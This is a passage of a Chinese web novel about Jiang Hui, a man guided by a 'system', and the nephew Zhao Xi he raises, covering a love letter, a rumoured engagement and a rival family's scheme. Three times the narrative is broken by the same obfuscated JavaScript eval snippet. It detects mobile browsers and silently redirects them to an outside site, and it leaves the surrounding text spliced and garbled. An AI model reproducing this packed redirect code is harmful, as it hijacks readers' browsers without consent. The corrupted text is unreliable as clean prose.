熟悉的声音和熟悉的场景让姜洄不自觉放松几分,他唇角微微勾起,拿起筷子:“……谢谢。” 赵熙笑意更盛:“不客气。” 他目光扫过屋子里能看到的所有地方,没看见自己送出去的礼盒,不动声色地抿了抿唇。 “那我去学习了……小叔叔慢慢吃。” 姜洄嗯了声,拿起筷子吃了两口面。 还是他熟悉的味道,赵熙的手艺一如既往的好,都要把他的胃养叼了。 见赵熙都要走出去了,姜洄看着他的背影,鬼使神差地开口,又添了句:“歌很好听。” 赵熙放在门把上的手动作微微一顿,扭头惊喜地看过来。 他脸瞬间变得红扑扑的,磕巴道:“……您,您听了?” 姜洄看着他的反应,心里今晚开始就有的那点微妙不爽,竟然奇异地消散了。 他扯了扯唇角,笑:“听了一点。” 赵熙挠挠脸颊,半天不知道怎么解释:“……因为,因为您很喜欢听歌,所以,思来想去,就想送一首歌……我练了一段时间才唱的,或许不是很专业……不过小叔叔你能喜欢就太好了!” 姜洄挑眉:“专门为了我练的?” 赵熙咳了两声,耳朵也红了:“……嗯。您要是喜欢,我可以多唱几首。” 喜欢谈不上,只是惊讶。 姜洄想了想,答非所问:“今天这么晚回来,是临时去录制的?” 赵熙愣了一下,连连摇头:“不是,因为设计专辑需要时间,我特意让老板加急制作的,但是还是今晚才终于拿到成品……” 看他实在不好意思得紧,姜洄没再追问,摆摆手,示意他忙去吧。 赵熙也没好意思继续说,得了令,埋头一溜烟跑了。 走之前还记得帮他把卧室的门带上。 …… 步入高中后,短短几个月,赵熙的个子便又猛窜了一大截,隐隐已经和姜洄一般高了。 姜洄年少时营养不良,有上顿没下顿,最终也长到了178,和原主180的身高差不了两厘米,穿个鞋根本看不出差别。 而赵熙因为良好的运动习惯和这几年养尊处优的生活,已经到了177,看样子还会窜得要比姜洄更高一些。 因为从没落下过日常锻炼,他身体素质极佳,肩宽腿长,身体比例发育得相当出色,体育课成绩也远超同龄人一大截。 再加上成绩好,长得帅气,性格又开朗,课桌永远是教室里最整洁和整齐的那个,相当独树一帜。 就这几点,不仅老师喜欢他,他在学校也很受同学的欢迎。 好友余书就是其中一个。 这天见他高兴,难得边收拾东西还边低声哼着歌,而教室里因为放晚自习走得七七八八,已经没剩几个人,余书便凑过去问:“什么事这么高兴?” 赵熙扬了扬嘴角,含蓄道:“家里的事。” 小叔叔终于又肯对他笑了! 看来他精心准备几个月的礼物也不是没有成效。 余书好奇:“是吗?对了,从来没听你提过父母,你爸妈是干什么的啊?” 赵茴每天上下学都是车接车送,看得出家境很好。 但学校很少开家长会,就算偶尔会开,赵熙的家长位置上也是空着的,老师因为他成绩好从没说过什么,于是也没有人看见过他的家人。 赵熙坦然道:“因为我没有父母啊。” 余书诧异:“不好意思啊……我随口一问,你别放心上。” 赵熙耸耸肩:“没关系,我有小叔叔,他很疼我的。” “小叔?” 赵熙提这个人提的倒是不少,但平时只说小叔叔对他很好,会送他各种东西,很照顾他什么的。 “毕竟不是亲生的,能有多疼啊。”余书小声嘀咕,“都没见过他来接你……” 赵熙收拾东西的动作一顿,垂眸,继续整理书包:“……那是因为他工作忙。” 余书干笑了一声,不提了。 赵熙心知他不信,张了张口想继续反驳,不知为何,却半晌没有声音从喉咙里吐出来。 原本高昂的心情一下又低落下去,赵熙心口不自觉有些闷闷的。 正是少年慕艾时,赵熙每天收到的情书都有一箩筐,抽屉里放都放不下,他却和羡慕他桃花运好的朋友不同,只烦恼这些东西的去处。 在认真拒绝过好几个学生的示好仍然无果后,赵熙没再白费功夫。 他每天回家时都要把这些信装到书包里,然后带回去锁在自己的书房柜子里。 余书瞥了一眼他手上的信,转移话题,啧啧道:“话说,你不想谈个恋爱吗?” “你这张脸,不在青春时代谈个恋爱可惜了。” 赵熙沉思了一番,问他:“是所有长得好看的人,都会在这个时期选择谈恋爱吗?” 余书磕巴道:“呃……不,不一定吧。” “但是我没听说谁有你这样的脸,学生时代会一个恋爱都不谈的。” 赵熙若有所思。 余书好奇:“所以,你打算谈吗?” “我要问问我小叔叔。” “……” 不是。 这种事情为什么还要寻求你小叔叔的意见啊??? 赵熙没再说话,他拉上书包拉链,将它背到背上,然后转身道:“走吧。” 到校门前,赵熙已经瞥见了自家的车正停在一旁的路灯下,正要和余书告别分开,忽然被对方推了下肩膀。 “欸。”余书说,“那是你家的车吧?那个旁边的帅哥是谁啊?” 赵熙顿了一下,豁然抬头看去,上前几步,果然在后座车窗边,看见了刚刚下车、正朝他轻轻挥手的姜洄。 他眼睛蹭一下就亮了起来,呢喃道:“……小叔叔。” “这是你小叔叔?” 余书抬手搭上他肩膀,相当诧异:“看起来就比你大个最多五岁啊……我手干净的,别看我。” “所以……你小叔叔今天怎么突然来了?” 赵熙心情快速变得雀跃起来,已经根本听不见他讲什么了。 他飞快道:“我先走了,我小叔叔来接我了。” 随即余书搭在他肩上的手臂便瞬间跌落了下去,眼睁睁看着他朝着车边的人影飞奔而去。 余书:“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033602|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看来赵熙和他小叔叔关系是真的很好。 赵熙匆忙小跑过去,又在姜洄面前急刹车:“小叔叔,你怎么来了?” 姜洄收回看向余书的视线,轻笑:“我不能来?” 赵熙忙道:“没有这个意思。” 姜洄当然知道他是什么意思,逗了一句便适可而止:“有事路过,顺便接你回家。” 其实是昨天赵熙一首歌把他哄高兴了,今天没忍住,便想着来他学校看看。 下一秒,赵熙忽然抱住他。 虽然已经晚上十点多,但毕竟高中学校门口,周边人来人往,姜洄愣在原地,被他这个紧促用力的拥抱勒得差点喘不上气。 他们拥抱得不少,除了晚上睡觉习惯后,会自然而然抱在一起睡,赵熙本身也是个很外放的人,只要姜洄不是生气的状态,他都很喜欢时不时跟姜洄撒个娇,缠着他说话。 但那都是在家里,姜洄也只当是小朋友心性,从不计较。 这是赵熙第一次在大庭广众之下抱住他。 几秒后,他率先回过神,拍拍赵熙的胳膊:“干什么?松开点,你小叔叔要被你勒死了。” 赵熙如梦初醒,松开了手臂的力道。 “抱歉……” “多大的人了还没大没小的。”姜洄轻斥一声。 赵熙撇撇嘴,神色看着竟然有些委屈,“小叔叔这是第一次来接我。我高兴嘛。” 甚至在几分钟前,余书还跟他吐槽过,既然小叔叔对他那么好,为什么没见过他小叔叔来接他。 赵熙表面不在意什么,其实心里到底也是介怀的。 人的本性就是贪婪,他从前上学没有人接送,只想着要是以后有谁能送他上下学就好了。 后来进了赵家,有了人接送,他又想着,要是能有家人送他上下学就好了。 每次看着朋友或是同学被父母家人在路边接走,他都会失落一阵。 也曾期待过小叔叔会来接他,不过姜洄工作很忙,要么比他晚下班,要么比他早下班,时间根本凑不到一块。 他便很懂事,虽然也会向姜洄撒娇提些无伤大雅的小要求,却从来不问这种令人为难的问题。 但眼下,这点介怀已经彻底烟消云散了。 姜洄揣摩过来他的小心思,不轻不重剜了他一眼,没去计较,只似笑非笑道:“上车吧。” “那是你朋友?” 赵熙的视线顺着他的目光,看向路边刚刚和母亲碰面的余书,应了。 姜洄默了默:“关系很好?” 赵熙十分自然道:“余家也是江城世家,他家里条件挺好的,人也不错,不过他不太关注豪门之间的往来。” 所以甚至根本没想到赵熙是什么身份。 赵熙眨眨眼,问:“怎么了?” 姜洄扯了扯嘴角,避开他的眼神,淡淡道:“没什么。” 他本想说交朋友小心一点,却又想到,赵熙如今的朋友,已经都是他不认识的人了。 大概率也不会再碰到像他上辈子时遇到的那种人。 这训诫的话自然就没了意义。 每每意识到一个赵熙和自己的不同点,他心尖都要微妙地刺痛一下,可他不愿意再因为这种事,在赵熙面前显露出自己不一样的情绪了。 不等赵熙再问,姜洄目光往他怀里一瞥,已经转移了话题:“你书包拉链都没拉好,放学想什么去了?” 赵熙这才发现,怀里的黑色书包上,链子竟然有一小半没拉上。 他尴尬地笑了一声,没好意思说当时在想小叔叔为什么没来接过自己这件事。 正要重新拉上,却听姜洄忽然道:“这是什么?” 赵熙依言低头看去,瞥见了一封粉红书信露出来的一角。 上面明晃晃地画着一个红色爱心。 18. 恋爱 赵熙僵住了。 这当然是情书。 他咳嗽两声,心虚地将那露出来的信封一角往书包里塞了塞,拉上链子:“嗯……没,没什么。” 姜洄眯了眯眼,盯着他,微微歪了歪脑袋:“你早恋了?” 平日里姜洄不会碰他的东西,赵熙上高中后,姜洄很少能等到他晚自习回家,会直接早早睡过去,所以对他每天书包里装些什么东西回家自然也是一无所知的。 驾驶座的王叔默默升起阻隔板,装聋作哑。 赵熙心口重重一跳,立刻反驳:“没有!” “那情书是哪里来的?”姜洄轻飘飘道,“不用瞒我,情书和普通的信我还是分得清的。” 赵熙道:“就是……同学给的。” “同学给的情书,你专门带回家?”姜洄慢悠悠地呢喃了一遍,语气莫名,“还说没有早恋?” 赵熙磕巴道:“因为、因为给的太多了,拒绝过他们也不听,信没地方放。扔了的话有些不太好,我就想着带回家,专门用一个柜子来放信,但是我真的没有早恋!信我也一封都没有拆开看过!” 他越说越顺畅,越说越大声。 对啊,他又没有早恋,他刚刚心虚什么? 姜洄默了默,点点头:“哦,这样。” 赵熙小心翼翼地看他:“您,您不相信吗?” 姜洄语气平淡:“没有。” 毕竟亲手养了这么多年,就算他们不是一个人,他也能看出赵熙到底撒没撒谎。 他不是不相信赵熙,只是在听见对方说,因为没地方放情书,所以“专门用一个柜子来放信”的时候,心中有些五味杂陈。 到底是性格不一样了。 换做从前的姜洄,碰见这种明确拒绝过不谈恋爱,仍然还死缠烂打、天天放一堆书信妨碍自己的人,姜洄直接把信扔了都算他有良心。 赵熙竟然还觉得不能辜负人家的心意,要收回去带起来。 真是纯良到让他叹息的地步。 赵熙犹豫片刻:“小叔叔不喜欢我把信带回去的话,我就不带了。” “那你打算怎么办?” “扔了。” 姜洄回神,见他说得毫不犹豫,扬了下眉,“又舍得扔了?” “不是什么重要东西,只是觉得当面扔有些下同学面子,所以才一次性带回家的……扔掉的话,只要我不让老师看见就好了。” 姜洄轻笑:“倒是很有分寸。” 他看着窗外飞逝的景色,斟酌了片刻,淡淡道:“我不反对你谈恋爱,情书什么的,也不用这么紧张地瞒着我不让我知道。” “但是,”姜洄微微皱眉,又看向他,“……十五岁还是太早了,该以学习为主。” 赵熙乖巧道:“我明白。” 他似乎还有话想说。 姜洄从车窗的反光看见了他踌躇不定的表情,两秒后,他才平静道:“想说什么?” 赵熙舔了舔唇。 “我听朋友说,”他含糊道,“长得好看的人,青春时代都会谈两次恋爱。” “小叔叔,也谈过吗?” 车内氛围安静下来。 赵熙能感觉到姜洄身上的气压沉了几分,似乎是他提了什么不该提的话。 ……难道小叔叔是受过什么情伤? 赵熙只能想到这个可能了。 说起来,小叔叔和他的青春时代,也不过差了五年而已。 他其实听过不少关于小叔叔从前的传言,说小叔叔从前玩得很开,圈子里那些纨绔子弟一半都曾经和小叔叔当过朋友,那时逃课翻墙是家常便饭,喝酒飙车也样样玩过,赵家二少是其中翘楚。 只是后来赵家出事,他们联系淡了,赵二少风评也慢慢回转了一些。 虽然传言中的小叔叔其实给他一种和他认识的小叔叔并不是一个人的感觉,但毕竟当年赵家经历了大变,一个人性情因此沉闷冷淡起来也很正常。 赵熙对他的过往虽然也有好奇,却从不多问。 这是他第一次主动提起过去。 见他不回答,赵熙莫名胸口有些闷闷的,思绪在这沉默中乱成一团,所有心情都只能汇成一句:不可能吧。 谁能让小叔叔这样的人受情伤? 他想不出世上有谁能和小叔叔相配。 赵熙动了动喉结,在长达十几秒的沉默后,原本已经做好了开口道歉将话题揭过去的准备。 姜洄却又开口了。 他动了动唇,仍旧盯着窗外灯红酒绿的夜市,只是神色冷淡,像是刚刚回神:“没有。” 赵熙低低“哦”一声,不管心里信不信,总之没有追问下去。 姜洄也没有再说。 他顿了顿,还是在回到家里、正要分开各自洗漱时,喊住了赵熙。 走廊上,赵熙不明所以地回头看来。 姜洄从大衣口袋里摸出了一把裹着透明糖纸的糖,语气平淡道:“去接你的时候,路上一家甜品店送的。” 赵熙眨眨眼,笑容洋溢地接过来:“谢谢小叔叔。” 明明就是看他爱吃糖所以给他买的,小叔叔真会嘴硬,和小时候一样。 姜洄回到房间,坐在书桌边,没有开灯,只静静盯着抽屉里的那张专辑。 月光冷冷地透过玻璃窗洒进来,趴在他脚边,静静地与他透过空气的尘灰互相凝视。 良久,姜洄感觉镜框下的眼睛有些涩了。 他无言地拿下眼镜,去到卫生间照镜子看了一眼,顺便锁了门,让002帮自己开了容貌还原。 镜子里那张脸,和现在的赵熙所差无几。 可姜洄看着镜中人熟悉的眉眼,却忽然觉得有些陌生。 他没有告诉赵熙、也不能告诉赵熙的是,他的青春时代,和原主纸醉金迷的学生生涯不一样。 他连高中都没有上,哪来的恋爱可以谈呢? 签约公司后倒是在娱乐圈遇到了许多鱼龙混杂向他示好的男男女女,但多少都带着目的性,况且,能向十五岁刚入圈的小孩下手的能是什么好东西? 姜洄虽然年纪小,但他不傻,只冷眼看着,从不曾回应过。 他改变了赵熙六年的人生,不出意外,还会继续这样改变下去。 赵熙如今变得爱笑、开朗,有信任的亲人、朋友,有得体的礼仪、健康的体态,有完美的成绩和值得期待的未来。 ……真好啊。 只是总想这些是没有意义的。 他总要向前看,姜洄明白。 他能改变赵熙的人生,已经是很幸运了,这是他自己亲手为赵熙选的路,他后悔不了,赵熙也是。 姜洄洗净双手,摒弃杂念,闭上眼,将生涩的义眼从眼皮下轻轻按压了出来。 和公司提供的义眼不同,这是系统友情提供的高级义眼,日常清洗是不需要操心的,但也需要三年更换一次。 算算时间,也可以换了。 他本可以安装更便捷的义眼台,但最开始公司给他垫付医药费时就是用的义眼片,而且姜洄也一时半会没那么多钱能装义眼台,后来哪怕有钱了,也一直用着义眼片。 直到现在,姜洄都已经习惯了。 002在非任务剧情之外,是很少出现在他面前的,不过只要姜洄呼唤,它总会立刻从沉眠中醒来。 此刻它打着哈欠,一边给他提供新的义眼片,一边犹豫着提醒道:【宿主,系统检测到,因为赵熙的存在,你近几年的情绪波动越来越大了,这对任务者来说不是个好兆头。】 姜洄平静回:“嗯。” 见002沉默,他主动道:“我会注意的。” 他垂下眸子,随手丢掉那片义眼,将002提供的新义眼戴了上去。 他的眼镜没有度数,一开始是遮掩义眼,后来就成了习惯。 戴上眼镜,如此看来,镜中人就又是一个文质彬彬、风度翩翩的青年了。 和现在的赵熙一样。 …… 时光荏苒,一年多又过去了。 2028年的夏天,仍旧和往年一样闷热。 赵熙已经十七岁,下半年就要步入高三,再过几个月,也即将成年。 而姜洄在这个世界,也已经二十五岁了。 他如今在江城是炙手可热的新贵,这几年赵氏集团越做越大,更加引人注目,这个年纪的豪门公子还没结婚的可不多,不少人都把目光打到了赵家二少夫人的位置上。 原本都是在背地里盘算,但今天的这场宴会,有人却是直接将主意打到了明面上。 姜洄看着面前被陈家介绍过来、面含羞赧的女孩,只是淡淡点了点头,笑着说自己还有事,先走一步。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033603|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这就是婉拒的意思了。 陈家人脸上的笑都僵住了,却还是笑着目送他离开了,没好意思做出厚着脸皮挽留的举动。 每逢这种场合,姜洄也推脱不得,毕竟都有生意往来,可以不喝酒,但是不能不来,不然大家面子上都不好看。 哦,得罪过赵家的除外,姜洄爱不去就不去了。 他坐在角落的沙发上,看着面前觥筹交错人影憧憧,只觉得无聊,抿了一口杯子里的饮料,低头去翻手机。 赵熙今天不上课,从今天开始他们要考三天的试,然后是暑假。 眼下这个时间,他下午的考试应该也结束了。 赵熙当初分班选的是理科,姜洄没干涉,因为赵熙文理成绩都很好,选什么都一样。 这次的成绩不出意外也会是第一名,根本不用担心。 刚发出去一句“到家了吗”,面前便落下一片阴影。 姜洄抬起头,看见是刚刚那个女孩。 对方穿着名贵的黑色长裙礼服,妆容清丽,发型时尚,是很清纯的长相,笑容带着几分羞涩:“赵先生,介意我坐您身边吗?” 姜洄:“……随便。” 他没有为难人的爱好,对方要坐哪里他也管不着,正要挪个位置往旁边坐一坐,远离对方,却被女孩轻轻扯了扯袖子。 “赵先生,我知道您对我没有那个意思,我也绝不纠缠,但是眼下我爸妈在看着……您别动,就当请您帮我个忙可以吗?” 姜洄微微蹙眉,看了眼不远处的陈家人。 果然见那对夫妻正时不时不经意地朝这边投来一眼。 “您现在要是坐远了,他们就会以为您不喜欢我。” 女孩快速轻声说道,“我知道,这当然不是您的责任,但是这次宴会对我很重要,我父亲身患重病,在考虑要把继承权给他的私生子……总之,要是我今天没有得到您的青睐,他会觉得我毫无价值,然后把我和我妈妈扔到国外。” “如果您能表现出和我有一些聊天兴趣的话,也许我能留下来拿到继承权,到时候接手公司,和贵司的合作我可以直接让出80%的利益,这可比来路不明的私生子继承的情况好得多吧?” “我可以保证,只要我留在国内了,继承权就一定是我的。” “您也不用特意做什么,只要在这坐一会就好了。” 陈家是个财力情况相当不错的豪门世家,这也是姜洄愿意和他们保持来往的原因,和陈家合作,对方能给出的资源是相当丰富的。 唯一的缺点就是,陈家现在的掌权人有点喜欢自作聪明,就比如发生今天这样的事情。 但姜洄爱财,是个无往不利的商人。 只要原地坐一会儿,就能得到一个未来掌权者在合作时让出80%利益的承诺,这个买卖,对姜洄来说,很划算。 他收起手机,和女孩很轻地碰了碰杯。 “仅此一次,陈小姐。” 他欣赏一切有野心的人。 如果对方的实力能和她的野心成正比,那么继承权必定是她的囊中之物,这次交易并不亏。 如果不成正比,对姜洄来说也没有损失什么。 陈小姐笑了笑:“当然。” 她将杯子里的红酒一饮而尽,又坐了一会儿,时不时和他聊几句有的没的,姜洄也都可有可无地应了。 赵熙给他发消息说到家了,问他这边什么时候回去。 姜洄抽空回了一句半小时,然后跟他说:今天想吃红烧鸡翅。 【赵熙:愿意为您效劳.jpg】 陈小姐注意到他的分神,眨了眨眼,看着他手机旁边系着的那个“平安符”,问:“赵先生在和恋人聊天吗?” 这个平安符,姜洄好几年前就在用了,一直没取下来过,这是赵熙的要求,姜洄也不爱和人解释,以至于大家都默契地猜测,可能是姜洄的什么白月光送的。 姜洄收敛了几分笑意:“和陈小姐似乎无关?” “如果您是和恋人在聊天,我们这样的距离就不太合适了。”陈小姐礼貌道,“被您恋人误会了,我会很抱歉。” 姜洄顿了顿,摇头:“不是。我没有恋人。” 和赵熙聊天竟然被误以为是和恋人聊天,姜洄甚至觉得有几分荒谬。 陈小姐表示了解,点头:“那我就放心了。” 19. 误会 两人又随口聊了几句,姜洄发现,这个女孩确实有些本事在身上的,至少她的经商之才并不低于自己,许多见解都有独到之处。 或许陈家的股份,真的会是她的囊中之物。 片刻后,陈小姐向他颔首表示感谢,随即起身离开了。 两天后,赵熙考完试。 在教室里收拾东西时,余书拎着书包过来问他:“放假了有什么打算?明天在锦江有个聚会你去不去?” 相处两年,余书也早就知道了赵熙是赵家的人。 他们这一代的豪门圈子里的公子哥们,有意无意的,大多都以赵熙为中心,和赵熙关系都很不错,其中余书和他关系最好。 一群人时不时会小聚一下,做点吃饭唱k打台球什么的娱乐活动,但赵熙去的不多,更多的时候是窝在家里跟赵家请的私教老师讨论学习。 赵熙果然摇头:“你们玩吧,下半年高三,我成绩不能落下,回去要提前学的。” “一天都不放松啊?”余书瞠目结舌,“你也太努力了,不是每年都考第一吗?” 赵熙笑:“小叔叔很在乎我的学习成绩,我不想让他失望。” “不怕人勤奋也不怕人有天分,最怕的是有天分的人还很勤奋,我算是明白了。”余书摇摇头,“你就这么听你小叔叔的话?” 赵熙理所当然道:“当然。他是我的家人啊。” 余书耸耸肩:“反正我没这么听过我爸妈的话。” 赵熙无奈:“……这不一样。” “哪里不一样?不都是长辈亲人吗?” 赵熙卡了壳,也不知道怎么回他了。 余书调侃地杵了杵赵熙的胳膊:“真不去啊?老韩说不少美女在呢,连吴家那妹妹都应了,以为你要去才来的。” 赵熙无所谓道:“我又不谈恋爱,有美女关我什么事?韩子晨自己应的人家,你让他自己解释去。” 韩子晨是圈子里另一位和他们玩的不错的男生,姜洄和韩家合作过,赵熙因此和对方认识的。 韩子晨也在这所学校,不过和他们不同班。 “啊?”余书磕巴了一下,“你之前说不谈是真的啊?” 赵熙轻松道:“不然呢?小叔叔不让我早恋。” 余书:“……” 小叔叔小叔叔小叔叔,又是小叔叔。 他恨铁不成钢,无语地给了赵熙肩膀一拳:“你小叔叔说什么你做什么?你小叔脑是不是?” 赵熙捂了下肩膀,但笑不语。 余书吐槽道:“天天小叔叔长小叔叔短的,你小叔叔这边不让你谈恋爱,自己那边都要订婚了……” 赵熙动作一顿,手里的物理书哐当一下掉了下去,从桌面磕了一下,砸在赵熙脚边,发出不小的动静。 余书吓了一跳,还没问什么,赵熙忽然扭头看过来,猛然攥紧了手里的书包带子,脸色紧绷:“订婚?” 余书从没见过赵熙这么难看的脸色,从认识开始,赵熙就是他印象里最标准的豪门贵族子弟该有的样子。 温和阳光,谦逊有礼……和朋友相处又平易近人,不管面对谁,脸上总是挂着和熙的笑容。 他一时愣住,过了两秒才记得:“对,对啊。” 赵熙眉头紧蹙:“你听谁说的?” 余书咽了咽口水:“大家,大家都这么说啊?不过这事是我从老韩那里知道的……” 韩子晨和他们都不同,是个标准的纨绔子弟,对圈里的一切八卦都十分热衷,有什么想知道的事情,只要问他一句,他都能给人说得清清楚楚历历在目。 余书又问:“你不知道吗?我以为你小叔叔跟你说了呢。” 赵熙缓了缓,脸色还是很难看:“什么时候的事?” “还没订呢,都是大家口口相传的,”余书挠了挠头,“这么说来也不一定,听老韩说,是前两天陈家的那场宴会,不少人都看到你小叔和陈家小姐聊天,相谈甚欢的样子。陈家父母挺高兴的,话里话外,都张罗着准备要订婚了。” “而且你小叔不是一直没怎么和什么女孩接触过吗?听我爸说,以前有人介绍对象给他,他都直接推了,但是那天聊得还挺好的,所以可能……” 所以可能大家都以为,赵家二少好事将近了。 赵熙耳朵里嗡嗡的,余书的话在耳边变淡,他什么都听不见了。 他最了解小叔叔这个人,如果他对人没有意思的话,根本不会给任何机会。 既然能聊上,甚至相谈甚欢,还让人将订婚的谣言都传了出来,就证明那女孩在他这里,真的有那么一些分量。 也就是说,小叔叔可能真的在和对方谈恋爱……也有可能,真的要和对方订婚了。 “……赵熙。” “赵熙?” 余书抬手在他面前晃了晃,道:“愣什么神呢?话说,我说你小叔叔要订婚,你反应怎么这么大?” 赵熙愣了下。 “我……” 我什么? 赵熙脑子宕机了片刻,半晌找不出来话回答。 对啊,小叔叔要订婚,他为什么反应这么大? 赵熙从来没思考过小叔叔可能会谈恋爱这件事情。 不止谈恋爱,订婚、结婚、生孩子…… 这些可能发生的事情,他都没有想过。 以至于这件事真的到来的那天,他有种巨大的不真实感,铺天盖地的情绪最后都只在他脑海中罗织成了两个字。 荒谬。 小叔叔在他眼里,是无所不能的,也是强大孤独的。 他身边如果一定有一个位置,那么赵熙觉得,只会是自己。 ——可是。 可是小叔叔也是人,还是个年轻男人。 他谈恋爱结婚,有什么不可能的呢? 赵熙顶着一脑子的混沌的思绪,灵魂出窍般回家了。 余书后来说了什么他都没听清,甚至对方和他告别,他也只是仿佛触发关键词的机器人,机械性地抬手挥了一下。 他到家时,看到姜洄发来的消息,说今天还有个商业酒席,会晚一些回来。 李阿姨做完饭走了,偌大的别墅里现在只有他一个人。 赵熙盯着那条消息,愣忡着,翻来覆去地看。 他坐在沙发上,思绪一团乱麻,反复地问自己那个问题:小叔叔就算结婚,好像也不会影响他什么。 他在怕什么呢? ——他在怕什么呢? 也许。 也许是他太依赖小叔叔了,怕小叔叔有了妻子以后,就会忽视掉他? 怕他会将重心转移到自己的家庭上? 然后赵熙就需要从这个家里搬出去,因为他是外人。 ……是的,就是这样。 赵熙想。 可是,小叔叔不可能会忽视他啊,就算结婚,也一定会娶一个和赵熙也相处的很好的女人,只要他不想搬出去,小叔叔应该也不会为难他,小叔叔对他那么好,这么多年,从来没有逼过他做不愿意做的事情。 所以小叔叔结婚了,也只会多一个疼爱他的长辈。 为什么他会这样烦躁呢? …… 饭桌上的饭菜冷了,赵熙把它们又热了好几遍,还添了一道菜,是小叔叔最爱吃的红烧鸡翅。 姜洄回来得很晚,九点钟,别墅的大门才终于传来按密码的声音。 赵熙三步并作两步赶上去,接过了姜洄手里的外套,并递过纸巾给姜洄擦汗。 见他满脸疲惫,赵熙憋了一晚上的话到嘴边,又咽了下去。 “小叔叔吃了吗?” “酒店的菜没什么滋味,只吃了几口。” 姜洄有些累了,他一向不喜欢应酬,但如果没有酒还能接受,只是今天应酬时间太长了,这个点原本他该躺在床上睡觉的。 赵熙看出他的疲态,便不再问了。 他沉默地帮姜洄换了鞋,又将碗筷和饭菜摆了出来。 “吃几口吧,不然晚上肚子会疼。” 姜洄接过他的手里递过来的筷子,意识到他有些不对劲——今晚他的话似乎格外少:“你怎么了?” 赵熙张了张口,似乎有些难以启齿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033604|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姜洄挑了下眉,目光转到面前的饭菜上:“给你第二次开口的机会,要是不说,就算了。” 他实在是太知道该怎么治赵熙了,果然,没两秒,他看见赵熙低头,轻声道:“你是不是要订婚了?” 姜洄倏地顿住了。 “你听谁说的?” 看他没有立刻否认,赵熙眼睛里的泪意一下就涌了上来,但还在强忍。 他低声喃喃道:“余书告诉我的。他们都这么说。” “没有。”姜洄心中有些好笑,利落否认。“我没打算订婚。” 赵熙急促道:“所以小叔叔你真的有在谈恋爱?” 姜洄于是真的笑出声了:“他们跟你说什么了?” “说……”赵熙抿了抿唇,“说看见你和一个女孩聊的很好。她家似乎都打算上门和你商量订婚了。” “瞎扯。”这话一出来姜洄就知道他的绯闻对象是谁了。 姜洄平静地将那晚的情况简单说了一遍,最后道,“只是顺手帮了个忙,没谈恋爱,而且订婚是不可能的。” 赵熙愣愣看着他:“真的吗?” 姜洄道:“怎么,怕我结婚了把你丢出去?” 赵熙撇了撇嘴,看样子委委屈屈的,似乎真的这么想过。 “我明天去找她说一说,别乱听这些谣言。” 赵熙点点头,心里一下又舒坦了。 只要小叔叔说,他就信,从来如此。 所以小叔叔说没有,他就信真的没有。 姜洄没想到这事会让赵熙都听到风声,本来以为最多就是传几天绯闻,不过看陈家那边似乎有些太张扬了,连订婚的话都传出来了。 他第二天就约了陈小姐聊这件事,直言只是帮一次忙,不可能会和她订婚,让她自己去和她父母讲清楚。 陈小姐应了,也跟自己父母说了这件事。 不过她话语含蓄一些,只是说双方还在观察阶段,不要太张扬,订婚这种事当然要双方都点头才行。 但陈父都是多少年的老狐狸了,怎么可能听不出她的言下之意,等人一走,脸色就沉了下来。 “这是根本没勾搭上!你养的这个废物女儿!这点事都办不好,让我怎么放心把公司交给她!” 陈母一听就愣了:“不是还在互相观察吗?” “观察什么?看她意思,是赵家那小子来找过她了,不高兴呢。那赵茴对她根本就是一点意思都没有!” 陈父冷哼了一声,“我要给女儿订婚的消息都放出去了,她要是拿不下那小子,不就是在打我的脸吗?” 陈母有些着急了,当下就眼含热泪:“那,那怎么办?” “倒也不是没有办法。”陈父想了想,笑了笑,“就是要你狠狠心,帮你女儿一把了。” 陈母听完,瞠目结舌:“这……是不是不太好?还,还没问过女儿的意见呢。” “你要是告诉她了,她能同意?”陈父不屑道,“要是连个男人都拿不下,这陈家我怎么放心交给她?你可想清楚了。” “可要是人家事后追究……” “这种事他追究什么?占便宜的可是他。” 陈母犹豫片刻,还是在陈父不耐的催促声里点头应下了。 …… 几天后,姜洄再次受邀,独自前来参加陈小姐的生日宴。 原本这种宴会他是不用来的,但是陈小姐告诉他,这场宴会如果他来了,陈父才会真正将股权交给她。 姜洄左右无事,便来帮忙当个背景板。 陈小姐端着酒杯前来和他碰了一面,低声告诉他:“多谢您给这个面子。父亲松口了,您放心,最晚后天,我就能拿到股权转让协议书。” 姜洄不语,和她碰了下酒杯,便分开了。 他不喝酒,所以陈家给他准备的也是饮料。 姜洄习惯性往角落里坐,刚坐下,便遥遥看见远处楼梯口的陈家夫妻,陈父笑着跟他举杯,姜洄礼貌地回敬了一下,看见一旁的陈母目光似乎有些闪躲。 他顿了顿,垂眸抿了一口饮料,心中有些奇怪。 20. 接人 